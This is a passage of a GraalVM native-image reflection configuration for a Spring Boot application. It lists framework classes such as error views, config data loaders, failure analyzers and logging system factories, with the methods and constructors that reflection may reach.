\"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$StaticView\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getContentType\",\"parameterTypes\":[] }, {\"name\":\"render\",\"parameterTypes\":[\"java.util.Map\",\"jakarta.servlet.http.HttpServletRequest\",\"jakarta.servlet.http.HttpServletResponse\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"beanNameViewResolver\",\"parameterTypes\":[] }, {\"name\":\"defaultErrorView\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.servlet.error.ErrorViewResolver\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.websocket.servlet.TomcatWebSocketServletWebServerCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.boot.web.server.WebServerFactory\"] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"websocketServletWebServerCustomizer\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.availability.ApplicationAvailability\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getLivenessState\",\"parameterTypes\":[] }, {\"name\":\"getReadinessState\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.availability.ApplicationAvailabilityBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getLastChangeEvent\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"getState\",\"parameterTypes\":[\"java.lang.Class\"] }, {\"name\":\"getState\",\"parameterTypes\":[\"java.lang.Class\",\"org.springframework.boot.availability.AvailabilityState\"] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.availability.AvailabilityChangeEvent\"\n},\n{\n  \"name\":\"org.springframework.boot.availability.AvailabilityState\"\n},\n{\n  \"name\":\"org.springframework.boot.availability.LivenessState\"\n},\n{\n  \"name\":\"org.springframework.boot.availability.ReadinessState\"\n},\n{\n  \"name\":\"org.springframework.boot.builder.ParentContextCloserApplicationListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.cloud.CloudFoundryVcapEnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.logging.DeferredLogFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.cloud.CloudPlatform\"\n},\n{\n  \"name\":\"org.springframework.boot.context.ConfigurationWarningsApplicationContextInitializer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.ContextIdApplicationContextInitializer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.FileEncodingApplicationListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.TypeExcludeFilter\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.AnsiOutputApplicationListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataEnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.logging.DeferredLogFactory\",\"org.springframework.boot.ConfigurableBootstrapContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataLoader\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataLocation\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"of\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataLocationResolver\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataLocationRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataNotFoundAction\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataNotFoundFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataProperties$Activate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigDataPropertiesRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigTreeConfigDataLoader\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.ConfigTreeConfigDataLocationResolver\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.io.ResourceLoader\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.DelegatingApplicationContextInitializer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.DelegatingApplicationListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.StandardConfigDataLoader\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.config.StandardConfigDataLocationResolver\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.logging.DeferredLogFactory\",\"org.springframework.boot.context.properties.bind.Binder\",\"org.springframework.core.io.ResourceLoader\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.event.ApplicationReadyEvent\"\n},\n{\n  \"name\":\"org.springframework.boot.context.event.ApplicationStartedEvent\"\n},\n{\n  \"name\":\"org.springframework.boot.context.event.EventPublishingRunListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.SpringApplication\",\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.logging.LoggingApplicationListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.BoundConfigurationProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.ConfigurationProperties\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.ConfigurationPropertiesBean\"\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.ConfigurationPropertiesBeanFactoryInitializationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.ConfigurationPropertiesBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.ConfigurationPropertiesBinder\"\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.ConfigurationPropertiesBinder$ConfigurationPropertiesBinderFactory\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getObject\",\"parameterTypes\":[] }, {\"name\":\"getObjectType\",\"parameterTypes\":[] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeforeInitialization\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.DeprecatedConfigurationProperty\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.EnableConfigurationProperties\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.IncompatibleConfigurationFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.NestedConfigurationProperty\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.NotConstructorBoundInjectionFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.bind.Binder\"\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.bind.Name\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.bind.Nested\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.source.ConfigurationProperty\"\n},\n{\n  \"name\":\"org.springframework.boot.context.properties.source.ConfigurationPropertyName\"\n},\n{\n  \"name\":\"org.springframework.boot.convert.DurationUnit\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.FailureAnalysisReporter\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.FailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.FailureAnalyzers\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.context.ConfigurableApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.LoggingFailureAnalysisReporter\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.AotInitializerNotFoundFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.BeanCurrentlyInCreationFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.BeanDefinitionOverrideFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.BeanNotOfRequiredTypeFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.BindFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.BindValidationFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.InvalidConfigurationPropertyNameFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.InvalidConfigurationPropertyValueFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.MissingParameterNamesFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.MutuallyExclusiveConfigurationPropertiesFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.NoSuchMethodFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.NoUniqueBeanDefinitionFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.PatternParseFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.PortInUseFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.UnboundConfigurationPropertyFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.diagnostics.analyzer.ValidationExceptionFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.env.EnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.env.EnvironmentPostProcessorApplicationListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.env.PropertiesPropertySourceLoader\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.env.PropertySourceLoader\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.env.PropertySourceRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.env.RandomValuePropertySourceEnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.logging.DeferredLogFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.env.SpringApplicationJsonEnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.env.SystemEnvironmentPropertySourceEnvironmentPostProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.env.YamlPropertySourceLoader\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.flyway.FlywayDatabaseInitializerDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.info.BuildProperties\"\n},\n{\n  \"name\":\"org.springframework.boot.info.GitProperties\"\n},\n{\n  \"name\":\"org.springframework.boot.io.Base64ProtocolResolver\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jackson.JsonComponent$Scope\"\n},\n{\n  \"name\":\"org.springframework.boot.jackson.JsonComponentModule\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jackson.JsonComponentModule$JsonComponentBeanFactoryInitializationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jackson.JsonComponentModule.JsonComponentBeanFactoryInitializationAotProcessor\"\n},\n{\n  \"name\":\"org.springframework.boot.jackson.JsonMixinModule\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jackson.JsonMixinModuleEntries\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jackson.JsonMixinModuleEntries$Builder\"\n},\n{\n  \"name\":\"org.springframework.boot.jackson.JsonMixinModuleEntriesBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jdbc.DataSourceBuilder\"\n},\n{\n  \"name\":\"org.springframework.boot.jdbc.DataSourceBuilderRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jdbc.EmbeddedDatabaseConnection\"\n},\n{\n  \"name\":\"org.springframework.boot.jdbc.SpringJdbcDependsOnDatabaseInitializationDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jdbc.init.DataSourceScriptDatabaseInitializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.jdbc.init.DataSourceScriptDatabaseInitializerDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jdbc.metadata.DataSourcePoolMetadata\"\n},\n{\n  \"name\":\"org.springframework.boot.jdbc.metadata.DataSourcePoolMetadataProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.jooq.JooqDependsOnDatabaseInitializationDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.json.JacksonRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.liquibase.LiquibaseChangelogMissingFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.liquibase.LiquibaseDatabaseInitializerDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.LogLevel\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.logging.LoggerGroup\"\n},\n{\n  \"name\":\"org.springframework.boot.logging.LoggingSystem\"\n},\n{\n  \"name\":\"org.springframework.boot.logging.LoggingSystemFactory\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.logging.java.JavaLoggingSystem$Factory\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.java.JavaLoggingSystem.Factory\"\n},\n{\n  \"name\":\"org.springframework.boot.logging.java.JavaLoggingSystemRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.log4j2.Log4J2LoggingSystem$Factory\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.log4j2.Log4J2LoggingSystem.Factory\"\n},\n{\n  \"name\":\"org.springframework.boot.logging.logback.ApplicationNameConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.logback.ColorConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.logback.LogbackLoggingSystem$Factory\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.logback.LogbackLoggingSystem.Factory\"\n},\n{\n  \"name\":\"org.springframework.boot.logging.logback.LogbackRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.logging.logback.SpringProfileModel\",\n  \"allDeclaredFields\":true\n},\n{\n  